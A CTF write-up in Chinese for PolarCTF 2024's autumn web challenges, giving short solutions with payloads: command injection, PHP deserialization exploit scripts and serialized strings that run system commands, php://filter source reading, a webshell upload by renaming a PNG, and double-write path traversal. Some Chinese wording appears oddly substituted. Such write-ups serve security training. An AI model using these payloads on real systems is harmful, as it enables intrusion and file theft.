【Web】PolarCTF2024秋季个人寻衅赛wp

EZ_Host

一眼丁真下令注入

payload:

1. ?host=127.0.0.1;cat+f*

复制代码

序列一下

exp:

1. <?php
3. class Polar{
4.     public $lt;
5.     public $b;
6. }
7. $p=new Polar();
8. $p->lt="system";
9. $p->b="tac /f*";
10. echo serialize($p);

复制代码

payload:

1. x=O:5:"Polar":2:{s:2:"lt";s:6:"system";s:1:"b";s:7:"tac /f*";}

复制代码

vm50给你flag

先读waf源码

1. ?file=php://filter/convert.base64-encode/resource=funs.php

复制代码

base64解码

1. <?php
2. include '[email protected]';
3. function myWaf($data)
4. {
5.     if (preg_match("/f1@g/i", $data)) {
6.         echo "NONONONON0!";
7.         return FALSE;
8.     } else {
9.         return TRUE;
10.     }
11. }
13. class A
14. {
15.     private $a;
17.     public function __destruct()
18.     {
19.         echo "A->" . $this->a . "destruct!";
20.     }
21. }
23. class B
24. {
25.     private $b = array();
26.     public function __toString()
27.     {
28.         $str_array= $this->b;
29.         $str2 = $str_array['kfc']->vm50;
30.         return "Crazy Thursday".$str2;
31.     }
32. }
33. class C{
34.     private $c = array();
35.     public function __get($kfc){
36.         global $flag;
37.         $f = $this->c[$kfc];
38.         var_dump($$f);
39.     }
40. }

复制代码

exp:

1. <?php
3. class A
4. {
5.     public $a;
6. }
8. class B
9. {
10.     public $b;
11. }
12. class C{
13.     public $c;
14. }
16. //A#__destruct -> B#__toString -> C#__get
17. $c=new C();
18. $b=new B();
19. $a=new A();
20. $c->c=array("vm50"=>"flag");
21. $b->b=array("kfc"=>$c);
22. $a->a=$b;
23. echo serialize($a);

复制代码

payload:

1. O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

复制代码

Deserialize

访问./hidden

访问./hidden/hidden.php

exp

1. <?php
3. class Token {
4.     public $id;
5.     public $secret;
6. }
8. class User {
9.     public $name;
10.     public $isAdmin = false;
11.     public $token;
12. }
14. class Product {
15.     public $productName;
16.     public $price;
17. }
19. $c=new Product();
20. $b=new Token();
21. $a=new User();
22. $c->productName='1';
23. $c->price=1;
24. $b->product=$c;
25. $b->id=1;
26. $a->name="";
27. $a->token=$b;
28. $a->isAdmin=true;
29. echo serialize($a);

复制代码

payload:

1. ./hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:5:"";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";s:1:"1";s:5:"price";i:1;}}}

复制代码

传马

上传一个png文件抓包改php后缀

访问传的马，RCE

bllbl_ser1

一开始给了php代码

exp:

1. <?php
2. class bllbl
3. {
4.     public $qiang;//我的强
5. }
6. class bllnbnl{
7.     public $er;//我的儿
8. }
10. $b=new bllbl();
11. $a=new bllnbnl();
12. $a->er="system('cat /f*');";
13. $b->qiang=$a;
14. echo serialize($b);

复制代码

payload:

1. ?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('cat /f*');";}}

复制代码

投喂

exp:

1. <?php
2. class User
3. {
4.     public $username;
5.     public $is_admin;
6. }
8. $a=new User();
9. $a->is_admin=true;
10. echo serialize($a);

复制代码

payload:

1. data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

复制代码

raoyiquan

payload:

1. ?c.md=env

复制代码

读情况变量偷鸡乐成

但交了不对（）
老诚实实绕吧
payload:

1. ?c.md=tac /flag.php

复制代码

1ncIud3

扫出来

page=flag对应了./flag.php，文件后缀写死了是php
颠末测试发现标题会将…/更换为空，双写绕过可以目次穿越

1. ?page=..././..././..././..././..././..././..././..././f14g

复制代码